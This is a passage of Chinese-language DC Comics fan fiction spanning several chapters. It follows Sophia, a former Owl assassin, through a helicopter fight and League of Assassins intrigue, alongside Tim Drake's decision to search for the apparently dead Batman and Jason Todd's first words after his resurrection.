听筒里又是一阵沉默，少年迟迟没有挂断电话，听着阔别已久的爱人变得粗重的呼吸声，一丝陌生的热流再次涌上眼眶，提姆在一片黑暗中眨了眨眼，将情绪再次咽下。 “我能解决，没关系的，索菲亚。” 索菲亚不知道电话是什么时候挂断的，只是在走出电话亭的一瞬间被细密的雨丝完全包裹了起来，雨点打湿了少女的头发和身体，而在街对面撑着雨伞的身影，露出了身上完整的刺客联盟的特征。 “主人想见你。” “你们下次能不能换句台词。” 索菲亚同样将那些情绪咽了下去，重新将自己调整回了谁也看不起的猫头鹰门徒的模样，于是又是一场过度漫长的行程。 只是比起上一次，最后一段路由汽车改成了直升机，在本就不大的飞机上，除了索菲亚以外，包括驾驶副驾以及索菲亚身旁的人全部隶属于刺客联盟。 这种深陷敌营的微妙感是个人都会觉得不舒服，而在擅长感知杀气的索菲亚身上，不亚于把蜘蛛侠扔进反派聚会现场。 但凡受过训练的杀手都知道收敛自身的气息，但这帮人如今像是随时打算杀人灭口一样的气场简直生怕目标不知道自己被盯上了。 对也是，这帮人的面孔过分陌生了，不管是拉尔斯身边还是塔利亚身边的刺客，索菲亚几乎都认了个脸熟，而这些突然出现的陌生身影大概率是长期在外的刺客。 不排除是长期外派的倒霉蛋，但索菲亚更愿意相信是些被边缘化的家伙带着同样被边缘化的手下在蠢蠢欲动。 唯一意外的是，索菲亚没想到自己也是目标。 此时飞机上除去索菲亚以外的三个刺客，在自己右手边的那位看样子是个老手，不然也不会让他坐在索菲亚身边方便压制猫头鹰的行动。 而副驾驶的那位只是从身形来看就不像是靠谱的刺客，更像是被临时被拉来充数的倒霉蛋，至少从对方只有一层薄茧大概率是因为用枪的手掌，索菲亚就能够想到针对对方的反制手段。 至于主驾驶，对方大概率不会冒着大家一起同归于尽的风险来加入索菲亚这场空中多人激情斗殴活动，反而让索菲亚放松了不少。 索菲亚看向玻璃上倒映出的刺客身后自己的脸，尚且完好的右手摸向了大腿，将那把捅了阿尔伯特好几刀的匕首再次抽了出来。 “你不是塔利亚的人。”在下定结论的同时索菲亚将匕首一刀捅向对方的大动脉，刺客下意识回避反而使得这把匕首错位，从脖颈到肩膀划出一道长长的口子，只是因为制服的影响，索菲亚很快就被卡住了匕首。 右前方副驾驶座位上的那个刺客立马拔出了枪对准索菲亚的额头，索菲亚用还没完全愈合的左手一把抓住枪管向上猛抬。 子弹快速从枪膛中射出却偏移了方向，连续三发子弹使得这把破枪格外烫手，索菲亚干脆一把夺过枪用枪身猛击对方的太阳穴。 右侧的杀手再次扑了上来，索菲亚干脆调转枪头，对着对方的脖子连开两枪，顷刻间血花在狭小的空间中炸裂开来，而索菲亚转头笑盈盈的看向副驾那位刺客。 “说吧，选匕首还是枪，但我建议你最好在子弹用完之前选好，不然我只能用匕首分尸了。” “……” “你背叛了牧首，索菲亚你这个叛徒。”右边的刺客还未死透，即使用手捂住了脖子却还能大声的喊叫企图替完全不在场的阿尔伯特宣判索菲亚的死刑。 “我不记得那十几个猫头鹰里有你？这么喜欢他怎么连琥珀金都没捞到？” 对方伤口的愈合速度和普通人并无两样，只是依靠濒死时身体分泌的肾上腺素还在强撑，索菲亚金色的眼睛将男人打量了个遍。 “你知道吗？在过去你这种货色根本没法入他的眼，而我作为叛徒却好好的活到了现在，为什么会这样很难理解吗？” 索菲亚顺手将副驾的那位一拳打到了昏迷，随后用枪头在空气中轻点几下。 “说说吧，怎么想不开要背叛刺客联盟投靠猫头鹰，猫头鹰可是连工资都没有。” “算了我不想听这个，换个话题吧，阿尔伯特想做什么？” “……他会取代因为长生变得懦弱的拉尔斯，摆脱世界的限制，带我们走向荣耀的尽头，直到永远。” 索菲亚缓缓打出一个问号，实在无法理解对方怎么连这种话都信，有没有考虑过购买一些对身体无用也无害的保健品来消耗多余的财富。 随后少女故技重施将这位也打到陷入昏迷状态，然而此时飞机内天旋地转，这才回忆起中东驾驶员种种战绩的索菲亚刚一回头，就看到了不知道什么时候被误伤到闭上双眼的驾驶员安详的闭上了双眼。 索菲亚来不及骂街，只能四处搜罗，所幸在座椅下找到了降落伞包。 快速确认没有问题后，索菲亚拉开机舱门朝着茫茫沙海一跃而下，只留下打算自杀式袭击的直升机在失去控制后消失在了远方。 第92章 人的一生会做无数个噩梦, 任何人都不例外，在普通人普遍在哥谭经历跌落深渊的噩梦时，那些在哥谭高空掠过的义警总是陷入了无法拯救他人的梦中。 提姆自然不例外, 作为普通人，作为学生，作为孩子, 作为义警, 噩梦会在不经意间将人缠绕，少年早就司空见惯，如今眼前的这场将提姆长久困住的这个梦只是过分真实，也过分漫长罢了。 也对, 蝙蝠侠的离去对于哥谭的所有人都是一场长久的噩梦。 作为德雷克家的独子, 提姆从小就享受了大多数哥谭人无法想象的财富和资源, 开明的父母，无论多耗费金钱都能被支持的爱好，别墅里随叫随到的包谷自己生活起居的保姆厨师和司机, 以及空荡的房子。 凭借金钱, 珍妮特和杰克并不需要亲自花费大量的精力来养育孩子, 只需要付出远高于市场价的薪水，就会有无数高质量的人来为他们解决育儿过程中不必要的难题, 而这对父母只需要付出对比其他人非常少的精力就能收获一个聪明, 健康, 独立的能够拿得出手的孩子, 就像是电脑上会自己成长的电子宠物一样。 他们当然是很好的父母，他们会记得儿子的生日, 记住他的喜好并赠送合适的礼物, 他们在吃穿用度上毫不吝啬, 他们为了展现对孩子的重视在别墅的每个角落都安装了摄像头来确保提姆的安危，以避免再次出现保姆玩忽职守导致提姆被绑架的意外出现。 珍妮特会在发现提姆对于音乐的兴趣从而为他买回足够稀有的吉他，杰克也会在网络上寻找足够热门的滑板并保证在发售的第二天就能到达少年的手上，除了过于危险的机车，他们几乎支持少年的一切决定。 提姆挑不出错来，甚至很多同学在知道他家世的那一刻，在看到他身上价值不菲的服装配饰的时候，都会投来羡慕的眼光，少年知道比起大多数连吃饱穿暖都成问题的哥谭儿童来讲，自己已经足够幸福。 但提姆总是贪心的觉得不够，这些体贴的举动在空荡的别墅里显得格外冷酷，在被绑架的废弃仓库里，在无数个无法入眠的夜晚里，在自己因为蝙蝠侠和罗宾激动的上蹿下跳的时间里，满腔的情绪全都在看到冰冷摄像头的那一刻化为了泡影。 明明父母近在咫尺，只要走近摄像头和他们打招呼，或者打开社交软件发几条信息，就可以立马和远在地球另一边的他们取得联系，获得那些关心的话语，但少年那一刻却仿佛置身在南极大陆之上在一阵寒风之中将那些苦涩的情绪默默吞了下去。 他们不知道提姆最近开始研究玩贝斯，送来的礼物还是那些让少年失去了兴趣的吉他；他们也不知道提姆已经放弃了追求热门的滑板，开始研究骑行；他们不知道提姆在学校没有真正能够深入交流的朋友，只知道他们的儿子足够体面足够优秀。 于是少年做出了那个能够影响自己一生的决定。 在无数个哥谭的深夜，少年骑着自己的自行车从家里偷偷溜出来，跟在黑色或者红色的披风身后，用手里的相机记录下无数的相片，甚至某次提姆还靠自己那些三脚猫的功夫救下了一位即将受到伤害的女士，这些都是在家乖乖的做德雷克家的乖孩子所无法做到的。 在决定成为罗宾时，少年告诉自己：我不会做一辈子的罗宾，我只是需要暂时将蝙蝠侠拉回来，过不了多久我就会回归过去平静的生活。 但这些话提姆自己都不愿意相信，和偶像并肩作战的感觉让人上瘾，任何一个青少年只要得到了在蝙蝠侠身边惩恶扬善的机会，都无法接受回归平庸而无力的普通人的生活。 以及只有作为罗宾，提姆才能看到作为普通同桌一辈子都无法看到的属于索菲亚身上作为猎魔人神秘而又危险的一面。 而这些事交织在一起，组成了提摩西德雷克这个人十五年人生中最为重要的那个部分。 放弃做罗宾这件事同样经过了少年的深思熟虑，首先自己在父母面前的身份已经暴露，他们不会允许自己的孩子置身于危险之中，而一味的和父母对抗所带来的后果，会给蝙蝠侠带来大麻烦。 其次，在看到了夜翼在成年后所选择的道路，提姆内心在冥冥之中也意识到了自己不可能一辈子做蝙蝠侠的小助手，他成为带着蝙蝠侠印记的独立的义警。 最后一点当然是，蝙蝠侠身边已经不再是当初杰森离世后空荡的样子，迪克和布鲁斯的关系逐渐缓和，芭芭拉也并没有因为小丑带来的苦痛而放弃义警事业，斯蒂芬妮还在接受训练，就连一向喜欢单干的索菲亚也在慢慢朝着蝙蝠洞靠近，提姆相信即使没有自己导师也绝不会回到孤身一人的处境之中。 于是提姆接受了这一现实，但还是力所能及的为同伴提供技术上的支持，从而缓解神谕作为后勤的压力，为了和成为罗宾的斯蒂芬妮进行区分，提姆在自己的代号前加上了red这一单词，将自己变成了红罗宾，继续站在了队友的身后。 提姆有信心把自己的后勤工作做的足够隐秘不被父母发现一点，继续做出他们所希望的那种足够乖巧懂事的精英阶层模板化的优秀小孩的样子，但是这些真的有必要吗？ 他们永远不知道自己的孩子在想什么，不理解为什么提姆要放着好好的富家少爷的生活不过，和仿佛有多种精神疾病一样的布鲁斯韦恩一起发神经，与那些过分危险的罪犯战斗把自己搞得伤痕累累。 可是提姆不想再伪装了，即使只有这一次，即使他们这次依旧无法理解自己，但至少提姆希望让他们真正知道自己的想法，知道提摩西不只是他们能够拿得出手的儿子，而是一个有着坚定信念愿意为了自己的义警事业付出一切的人。 但现在一切都结束了，全世界的新闻都在争先报道那位英雄足够壮烈的死亡，提姆无数次将那段影像的进度条反复拖动，但始终无法找到导师还活着的任何一个证据。 而这样做的，远不只有提姆一个人，蝙蝠洞内的每个人都迫切的希望找到那个人还存活的证据，只是在证据来之前，先到达的是布鲁斯几乎不成形的遗体。 提姆不知道同伴们如何接受那个人突如其来的死亡，少年只是在几天后得到了父母允许他参加葬礼的许可。 在庄园的墓园里，布鲁斯的遗体被阿福换上了崭新的服饰安静的平躺在棺材里，阿福的眼神始终无法从自己亲手养大的孩子身上移开，韦恩家族的遗孤在经历二十年的战斗后终于回归了这片生育他养育他的土地中，他的身旁躺着他早早离去的父母，也躺着他早早离世的儿子。 提姆知道自己应该伤心，也应该流下泪水，在这场隐蔽的葬礼上，迪克一次次的把悲伤咽下强撑着精神安慰还年幼的弟弟妹妹，一向喜欢和那位披风斗士顶嘴的斯蒂芬妮红了眼眶抓紧了一旁黑发少女的手心，刚刚来到这个家的卡珊德拉即使没有太多表情但少年仍旧能够感受对方内心的悲伤，而芭芭拉这个年长的大姐姐正在安慰两个伤心的女孩。 但这场承载了无数悲伤的葬礼并非是蝙蝠侠的葬礼，哥谭现在还无法承受失去蝙蝠侠的代价。 从布鲁德海文匆忙赶回哥谭的迪克被迫换上了蝙蝠侠的战衣带着斯蒂芬妮依旧在哥谭继续蝙蝠侠的工作，还在训练的卡珊德拉还没来得及学会表达自己的想法，而阿福好几次做好了小甜饼却在给在场的所有人分发完毕后发现多出了一份。 似乎变了很多，又似乎什么都没有变化。 但提姆的头脑却过分冷静，这并非是不愿意相信现实的自欺欺人，即使没有证据少年依旧无法支持蝙蝠侠已经死去这个结论，足够理性的头脑在如今的场合转个不停，于是如同半年前自己决定主动出击成为罗宾一样，提姆再一次做出了选择。 他只是被困住了，我会救他出来。 于是提姆关上电脑转身，正好面对推门而入的杰克，而珍妮特就在门框后露出了那只和提姆无比相似的眼睛，静静的聆听俩人的对话。 “你一定要走吗？” “爸爸，你已经知道了不是吗？” 杰克穿了一身简单的家居服，因为花费了太多时间在监管叛逆儿子这件事上，一向干练的男人的脑袋上多出了几根白发。 “我们都知道蝙蝠侠是一个足够伟大的英雄，任何一个有良心的哥谭人都明白他的伟大，我也很为他的牺牲而痛心，你妈妈也是，即使我们和布鲁斯没有那么熟悉，但我们发自内心的感谢他愿意花费精力来照顾你。” “我知道你是个聪明的有想法的孩子，从你还是个小豆丁的时候，就在各类宴会上表现出来的足够成熟，你知道面对不同的人怎么说话，并且总是表现得很好，我和你妈妈那个时候非常的惊讶但是又因为你的聪明而自豪。” “你太乖巧懂事了，那么小就学会了如何自理，即使我们不在身边你也能自己睡觉，知道按时完成作业，知道自己在一旁玩耍，你总是不哭不闹让我和你妈妈格外的省心——” “我得去找布鲁斯，他需要我。” 提姆不再想听那些自己预料之中的足够煽情的话，但少年还是展现出足够的耐心表达出自己的需求。 “听我说完孩子，我知道我们忙于工作忽视了你，但是现在已经不一样了，我们愿意弥补你，为了那些被我们所错过的时间，那些你被迫独自一人度过的时光，我们还有机会——” “我需要去找布鲁斯。” 少年再次重复了自己的要求，那双毫无波澜的眼睛对视上父亲那双闪着泪光的和自己一模一样的蓝色的眼睛，无法被捕获到哪怕一丝情感的波动。 “你就不能听我们把话说完吗？哪怕一次？” 珍妮特终于走进了这个她许久未踏入的房间，这个被保姆收拾的井井有序的房间，这位母亲尝试在这个房间里找到自己熟悉的物件，可放眼望去这个房间陌生的可怕，就像是此刻那个面对两位成年人情绪显得过分冷静的孩子一样。 “我很想听完妈妈，我知道你们很爱我，但布鲁斯需要我，他现在一定陷入麻烦里了，我要把他找回来。”少年的语气放缓了很多，不厌其烦地继续重复了这句话“我没有因为这些事生气，我只是想解决眼下遇到的问题。” “哥谭没了你又能怎么样？蝙蝠侠用了这么多年，哥谭不还是这个死样子，到处都是杀人，抢劫，流莺，毒品，现在他走了很快又有了新的蝙蝠侠，有了新的罗宾，这里和以前一样毫无变化你又能做到什么？和他一样飞蛾扑火吗？” “如果这样有意义的话，我不介意这么做。”少年接过了流泪的母亲的身躯，曾经坚实的臂膀此时在成长期快速抽条的少年面前显得格外娇小，提姆轻拍母亲的后背就像是无数次在夜巡时安抚恐惧的儿童一样“我不会有事的妈妈，我会保护好自己，我只是觉得我该做点什么。” “可你还是孩子，在我的记忆里你好像还在襁褓里，护士教你爸爸怎么抱你的时候，他笨手笨脚的动作像是抱着一个即将爆炸的炮弹一样僵硬，我还没来得及嘲笑他就轮到了我来抱你，我以为我能做的更好，可是当你在我怀里的时候，我的身体也像石头一样硬，你太软了太小了，我不知道要把手臂放在哪里才不会让你受伤。” “我记得你第一次学会翻身，第一次学会走路，第一次喊妈妈，第一次喊爸爸，甚至到现在我都还以为你还是可以随时被爸爸妈妈抱着就能带走的小朋友。” “我害怕你会受伤，哥谭的那些楼房那么高，你摔下来怎么办？那些子弹不长眼睛，一不留神就会贯穿你的身体。那些穷凶极恶的罪犯他们会不会拿着刀子对付你，那么长的伤口你要怎么处理？你会疼吗？会流血吗？伤口愈合的时候会痒想要抓挠吗？” “我没事的。”少年将脑袋埋在母亲的颈侧，有些沉闷的声音从□□之间的缝隙里挤了出来，玫瑰香味的香水将提姆完全笼罩“我没事的妈妈。” “你去吧。” 杰克的声音同样沉闷，男人的嗓音里带着无法被压抑的哽咽。 一直以来仿佛被玻璃展示柜隔离开的一家人第一次打破了那层屏障，近距离地站在了一起，珍妮特结束了那个足够紧密足够热烈的拥抱，让出了那个被阻拦的房门的位置，站在了杰克身边。 男人挽起了妻子的手臂，却能够感受到对方同样颤抖的身体，但这对父母还是竭尽全力的从泪水里扯出一个微笑面对注定要踏上满是荆棘之路的儿子。 “去吧，就像你说的，蝙蝠侠需要你，哥谭也需要你。” 少年用理性筑起的围栏突然被洪水一样袭来的感情所袭击，在泪水涌出之前提姆踏出了那道名为爱的牢笼，头也不回的钻进哥谭的夜色之中。 第93章 回到了蝙蝠洞的提姆做的第一件事就是进入了蝙蝠电脑, 蝙蝠侠目前的失踪计划过于完美了，在众目睽睽之下被达克赛德的光线击中后甚至留下了遗体，就连超人的超级大脑在确凿的证据面前也无法提出哪怕一丝质疑。 也正因如此, 蝙蝠洞的大家才这么快的接受了蝙蝠侠的离去这一事实。 但提姆觉得并非如此，所以少年马不停蹄的打开蝙蝠电脑像是淘金一样尝试从导师不同加密等级的文件里找到一丝蛛丝马迹，至少面对达克赛德这种级别的敌人, 蝙蝠侠绝对不会毫无准备的前去迎战, 在他的电脑里绝对有之前所收集的信息和情报。 只是在找到这方面的信息前，提姆先找到了被导师藏得足够深，即使是自己也花了一番功夫才找到的另一份加密文件，如果考虑到蝙蝠侠对于大家的了解, 提姆相信这是一份他希望自己看到的文件。 事实确实如此, 这是有关索菲亚的蝙蝠侠收集到的所有的情报。 除去前任利爪和猎魔人的身份, 蝙蝠电脑的这份档案中多了很多提姆所不知道的信息，比如在二十年前少女在神志不清的状态下被人送进猫头鹰法庭之前，索菲亚来自于另一个世界。 平行宇宙的概念在这个世界并不少见, 蝙蝠侠曾经遇到过来自另一个完全相反的由罪犯组成的辛迪加世界, 超人也曾经被拉去名为不义宇宙的世界帮助反抗军打败了落入深渊一身白色制服如同天神一样的不义超人, 更不说同样存在于导师隐藏文件中的将罪犯全都切除前额叶变成白痴的像是《1984》一样的让人恐惧的乌托邦一样的领主世界。 但与这些世界都不相同的是，索菲亚过去所生活的, 是一个蝙蝠侠从未在现实中存在的世界。 在那个世界, 无论是蝙蝠侠还是超人, 美国队长还是钢铁侠, 这些耳熟能详的英雄，都只是漫画中的角色。 索菲亚自述对于这些漫画并不熟悉, 少女更喜欢看些门槛没那么高的美剧和电影, 唯一一部看过的漫改电影还是有着超高评分的《黑暗骑士》。 那部电影将小丑描述成了位于混沌之中嘲弄世人的犯罪天才, 而蝙蝠侠虽然拯救了那些无辜的哥谭民众，却无法拯救自己的朋友，只能看着那位有着哥谭光明骑士之称的检察官哈维.丹特在失去未婚妻和硫酸的双重伤害下，完全堕落为名为双面人的反派，从此和曾经的友人彻底对立。 少女对这种片子不感兴趣，草草看完了这一步就重新滚回去看那部讲述尼斯湖水怪一样的侦探带着挚友破案的英剧。 而那个在索非亚的故事里杀死了少女的母亲并接受了将少女作为礼物的组织叫做审判庭，那是一个除了接受过改造的猫头鹰杀手以外还有着众多包括吸血鬼、狼人、炼金术士、巫师在内的黑暗组织，长期通过金钱宗教政治等多种形式渗透进人类的生活之中，像是水蛭一样肆意的吸取着人类的生命和财富。 而那个带给索菲亚无数噩梦的猫头鹰头领，那个男人的名字叫做阿尔伯特。 索菲亚不知道确切的属于阿尔伯特的过去，只好把男人随后说的那些一听就知道是胡说八道的故事全盘托出，而蝙蝠侠在认真聆听了少女的倾诉后将这些信息一字一句完完全全的记录了下来。 关于改造自己身体的药剂和琥珀金的关系，索菲亚自己也说不上来，少女大概率撑着脑袋想了半天才从脑海里想出了猎魔人前辈的猜想。 改造猫头鹰的药剂和猎魔人的药剂成份上非常相似却并不完整，所以猫头鹰很多都有缺陷，尤其是在魔法层面，没有猫头鹰能够使用魔法，就连阿尔伯特也不行。 这些信息的内容量极大，就算是提姆看到这些文字也不免有些头脑发懵，不敢想了解到另一个完全陌生的世界的蝙蝠侠到底在大脑里新建了多少应对措施。 但除去索菲亚，提姆熬了几个大夜把蝙蝠电脑几乎翻了个底朝天，也没找到有关达克赛德可能存在的阴谋诡计。 也就在这时，少年的脑海中突然跳出了一个想法，既然蝙蝠洞无法找到这方面的情报，那如果是其他势力呢？一个在全球范围内都有影响力，触角遍布全世界的组织，或许就能找到更多的能够找回蝙蝠侠的蛛丝马迹。 除此之外，少年发现了更有趣的东西。 连续十几杯咖啡灌下将少年早已疲惫的身体再次唤醒，亢奋的头脑此时比手下的计算机运转的速度还要更快，而身后的脚步声不紧不慢的在身后响起，提姆站了起来伸了个懒腰转过身面对身后还穿着燕尾服的老人。 “阿福，我正要去休息。” “感谢您还记得注意自己的身体状况，我以为已经不会有人会听来自管家的小建议了。” “怎么会？只不过迪克，斯蒂和卡珊是不是快回来了，需要我留下来收尾吗？用不了多久的。” “我想您去休息才是对我最大的帮助。”阿福的脸上露出了微笑，拍了拍少年的肩膀“这段时间辛苦你们了。” “没什么阿福，这是我们应该做的。” 少年露出一个微笑，随后将通讯器踹进了口袋端着马克杯上了楼回到那间属于自己的客房里，不动声色的揣走了此刻蝙蝠洞内最大的秘密。 提姆关上房门，不紧不慢的在几个熟悉的会放置定位器和窃听器全都检查过后，拿出了通讯器，手指轻点几下就看到在推特的对话框里突然跳出来一个没有头像的全新对话。 对方只发过来一句简单而充满了疑点的话。 “红罗宾，我能够帮你。” 少年的面上没有任何变化，依旧是那副游刃有余的模样，内心却掀起了波澜。 红罗宾这个名字目前只在提姆的大脑中有了想法，少年甚至没来得及把他写进自己的文件里更不提会告诉其他人，是什么人会未卜先知一样的知道这个代号。 “你是谁？” 少年敲出这一行文字犹豫片刻发了出去，但另一边被随身携带的计算机每秒以极其恐怖的速度在分析这个突然出现的对话，在呼吸间就将这几行简单的代码显示在了屏幕上，但也正因如此看到了结果的提姆才忍不住皱起了眉头。 那是一个简单的过分的少年几分钟以内就能写出来的简单对话程序，无需人为操控，只要连接足够庞大的数据库，这行程序会自动和人进行对话，换而言之这只是一个过度简化版的Chat GPT。 但就是这样一个简陋的过分的软件，却通过蝙蝠电脑的围追堵截，在众人的眼皮子底下钻进了提姆的通讯器之中。 “G-A-R-C——”正在弹出的字母顿了一下，随后又被一个一个的清除，新的字母重新出现在了巴掌大的屏幕上。 “B-R-A-N-D-O-N.” 不过两秒提姆就意识到这个单词背后的含义，这正是索菲亚的姓氏，据少女说这个姓氏来源于收养她的监护人伊芙琳布兰登小姐，那么此刻和自己对话的东西或许就是那个曾经帮助了索菲亚很多的系统。 但为什么这个被扎塔娜认为或许因为能源问题而闲置的系统此刻为什么突然焕发了活力，甚至能够突破限制绕过索菲亚来联系他，系统的对话能够持续多久？ 这些疑问提姆一概不知。 提姆内心挤满了问题，蝙蝠侠此刻在哪里？他还好吗？现在到底哪个组织能够在这场营救中派上用场？自己要如何和那个组织接触并谈判让对方加入到营救行动之中？ 但少年思考良久只是打下了一个问题。 “蝙蝠侠还活着吗？” 这是少年无论如何都想要知道的问题，但提姆内心早就有了答案，就算是更高维度的系统亲口告诉他蝙蝠侠已经死了，少年也不会改变要将导师带回来的决心。 在一片寂静中，屏幕上缓缓地打出几个字母，这些字母组成了单词，很快又组成了一句话，一句给了少年无限力量的话。 “Certainly.” 得到了肯定答案的少年没能等到系统的下一句回复，但这些就已经够了，只要知道自己做的事是对的，那么就算付出再多那也是值得的。 提姆用技术手段将那个简单的对话隐藏了起来，随后打开了定位系统，看到了那个代表着此刻远隔千里的爱人的红点，少年用手指轻轻摩挲那个红点，那双理性的像是深海海水一样眼睛里不经意流露出月光一般的温柔。 脑海里突然蹦出了上次见面时自己的手指穿过少女丝绸一样顺滑的黑发时的场景，月光下女孩金色的眼睛格外的明亮，那张同样柔软的脸颊还带着和情人约会的红晕。 像是猫一样狡黠而活泼的少女，仅仅是站在少年的面前就让一向冷静的提姆丢盔弃甲，在利爪的利诱之下，罗宾忘记了导师的一切教导，只是在意乱情迷种挣扎了片刻就与索菲亚再次沉溺于爱河之中。 几乎要无法抑制自己的控制欲每隔几分钟就去查看定位位置的提姆只能再次压下了那份会让人窒息的欲望，将理智从大脑深处里挖出，在重新将有关导师的信息重新进行整合后，一个留存在过去的答案浮上水面，而在地图上代表索菲亚的红点正与曾经培养出蝙蝠侠的刺客联盟无限的重合。 红罗宾知道，自己找到了答案。 第94章 在中东的大沙漠里被迫体验荒野求生的索菲亚一边在沙漠跋涉, 一边在思考人活着的意义是什么。 好在身上的零零散散的伤口已经完全愈合，就连被子弹贯穿的手掌也完全恢复如初，伤口恢复期血肉重新生长带来的瘙痒并不致命但足够烦人, 但为了不影响行动索菲亚索性当自己没有那只手，然后继续埋头在即将刮起沙尘暴的沙地里寻找临时避难所。 在经历三天饿九顿的极致体验后，索菲亚终于再次见到了塔利亚。 “我没想到你还会回来？” “我没有其他选项不是吗？”索菲亚瞥了眼横在自己脖子前的武士刀, 用手指将刀刃推远了些“我以为抛弃阿尔伯特至少能表现一下我的忠心？你们连自己人也要杀吗？” “牧首没有通知你吗？他可是在这里干了大事。”塔利亚一个眼神, 蒙着面的刺客便只能不情不愿地收回武士刀，但仍然跟在两人的身后随后打算把索菲亚按倒在地方便处刑。 “他让猫头鹰把拉撒路喝干了吗？”索菲亚跟在塔利亚身后，看着对方即使被制服包裹但仍然显示出力量的后背“总不能他把你爸爸杀掉了吧，那很过分了, 我支持你把他活埋在沙漠里。” “很接近了, 只是有一点不同。刺客联盟确实遭到了背叛, 牧首只不过是其中之一，父亲从来没对猫头鹰交付出信任，但这次还有其他人。” “其一, 是我的姐姐妮莎, 她一直不满自己作为恶魔之首的孩子却一直被权力排除在外, 为此心怀不甘，她的手下大多对我、对达米安不满, 这群乌合之众聚集在一起, 没少在平日里给人下绊子, 只不过那些都只是些不痛不痒的伎俩。” “其二便是丧钟, 那家伙是个很出名的雇佣兵，就连布鲁斯和他对上也没有永远能够占据上风的把握, 他对权力游戏并没有太大的兴趣, 但只凭借金钱就足够买通这样一位底线灵活的家伙, 于是妮莎准备了足够有吸引力的巨额现金来雇佣丧钟为他所用，加入自己的计划。” “他们二人一拍即合，在你离开后不久就发动了叛乱，这并不难处理，直到牧首插手了。” “他在联盟深耕多年，在我们看不到的地方，那些数量极大的边缘的能力平庸的刺客被他所蛊惑，自愿成了他的门徒，当妮莎和丧钟的叛乱发生时，这群没人会在意的边缘人成了刺向父亲最为致命的一刀，毕竟谁会想到会被工具所背叛呢？” “拉尔斯还活着吗？”索菲亚眼神扫过低着头急匆匆从身边经过的刺客随口追问道。 “当然，这些伎俩还杀不死父亲，我驱逐了妮莎，丧钟在计划败露后选择离开，但是牧首在重伤父亲之后就不知所踪，这一点让我尤为在意。” 塔利亚的语气依旧平静，但从对方的讲述里索菲亚听不到一点作为女儿对于父亲遭遇的愤怒和同情，完全公事公办的态度让索菲亚不免开始怀疑，对方在这次事件中又身处怎样的身份和位置。 “那你需要我做什么？提前申明一点我不打白工。” “这场叛乱里刺客联盟在全世界的四个分部已经被妮莎完全掌握，还有六个分部立场不明，我需要一个能够替我解决掉这些麻烦的人。” “那达米安怎么办？他继续上课吗？”索菲亚从塔利亚的身后探出头来，正好和被面罩覆盖住下半张脸后露出拉撒路同款绿色的眼睛对上视线“我能把杰森带走吗？我一个人打不过十个人。” “我会给你一支小队，他们每个人都忠诚于我。” 于是刚刚滚回刺客联盟连口热饭都来不及吃的索菲亚很快带着一整套全新的装备和七个完全不认识的刺客，以及被临时打包来的杰森迷茫的从刺客联盟再次滚了出去。 坐在私人飞机的座位上和八个刺客面对面的感受实在尴尬，索菲亚只好低头一直擦手里新领的长刀，直到手里的布料和刀刃发出难听的动静，但即便如此这几位刺客连眉头都没皱一下，用各式各样的姿势在飞机上进行休整。 索菲亚四处观望了片刻确认没人会看自己后，就拿出了手机去研究关于地球另一端有关蝙蝠侠的事。 那条新闻来的太过突然，索菲亚实在难以理解怎么还能有主角莫名其妙死掉的作品存在，如果真的需要这种牺牲英雄的情节出现，一般不是需要铺垫非常多的煽情镜头来展现这位角色的伟大，只是因为一时脑抽想搞个大的，就把手下的高人气角色莫名其妙写死的作者就应该被砍下脑袋轮流挂在路灯上。 你说对吧，JJXX。 索菲亚不知道超英圈子到底是怎样的调性，但是在遥远的霓虹，仅仅是那位搞出了让女主砍下了像是虫子一样的脊椎怪物一般男主的脑袋，并捧着脑袋接吻的阴间画面，就能够让无数破防的粉丝发誓要去作者开的温泉里拉屎来展现自己的愤怒和仇恨。 至少索菲亚更愿意相信这只是伟大的蝙蝠侠计划的一部分，如果真的毫无理由出现把DC的爹献祭掉这种荒诞的剧情，那负责撰写这期脚本以及拍板通过的编辑部成员全都应该被绑在火箭上发射到外太空去，想要挣脱束缚唯一的方法就是在小丑的360全方位无死角的笑声里解出谜语人现出的热气腾腾的243个谜语。 但是真的去网上开始搜索后，索菲亚才发现那条有关蝙蝠侠之死的新闻在互联网上完全销声匿迹，就连录屏都很难找到画面，意识到是神秘的蝙蝠势力发力后，索菲亚干脆直接找到了记忆里斯蒂芬妮某个伪装身份时临时征用的手机号发去一条邮件。 不过两分钟，索菲亚就从过分靠谱的超级无敌好朋友那里拿到了想要的东西。 就和索菲亚猜到的一样，哥谭无法承担蝙蝠侠太早离去的结果，那么最好的办法就是利用手头一切的资源否定这件事的存在，至少在本地的论坛上蝙蝠侠还带着新任金发罗宾活跃在哥谭夜晚的每条街道上，唯一不同的是黑暗骑士披风下的屁股似乎存在感有些过分强了。 屏幕里的画面重复播放了几次，索菲亚被蝙蝠洞里几位头脑发达的义警惯出来的几乎没怎么正经用过的脑子还在努力的思考一切的关联，最后只能相信蝙蝠侠身上作为dc大爹的主角光环。 坐在索菲亚身旁对一直没有任何反应的青年突然一把抓住了索菲亚的手腕，随后另一只宽大的手将索菲亚放在大腿上的手机拿了过去，看向了屏幕上那个倒在地上看起来不再高大的身影，绿色的眼睛里瞳孔正在剧烈震颤，而那只还抓着索菲亚手腕的手正不自觉地用力。 “松开。”索菲亚挣脱了青年的束缚，挥拳打在了青年和过去的照片相比有些硬朗而又陌生的脸上，但没有抢回手机“算了你看吧，反正我们现在在刺客联盟，又不能突然跑去dc编辑部把达克赛德从剧本里删了。” “……那，是谁……”自重生后几乎半年没有说过一句话，让人怀疑复活的□□是不是没来得及把灵魂从冥府里带走的青年终于磕磕巴巴的说出了重生后的第一句话。 “蝙蝠侠，DC的摇钱树，哥谭的黑暗骑士，正义联盟的顾问，把所有人都做成表放在蝙蝠洞展示的极端卷王，休息时间喜欢用花花公子的人设放松敌人警惕的超人气演员，哦对，他还是你爸爸，至少法律层面上是你爸爸。” 索菲亚看过录像，知道作为二代罗宾的杰森陶德过去是一个过分活泼的有活力的男孩，少女在等待这位与世界阔别已久的少年把深埋于心的所有疑问都在此刻提出，但等待了许久，索菲亚才终于听到了一滴水滴下的声音。 余光里，那双完全被拉撒路之池打上烙印的绿色眼睛里正在大颗大颗的流出泪水，这些生理性盐水将青年双眼中长久存在的迷茫和空洞作为杂质，通过泪腺全都通过哭泣这一人类最为简单最为原始的生理行为全都带走。 但青年的喉头却始终没发出声音来，索菲亚就用手支着下巴，看着还没意识到自己已经重返于这糟糕世界感到喜悦的罗宾鸟，再次为了另一场死亡而哭泣。 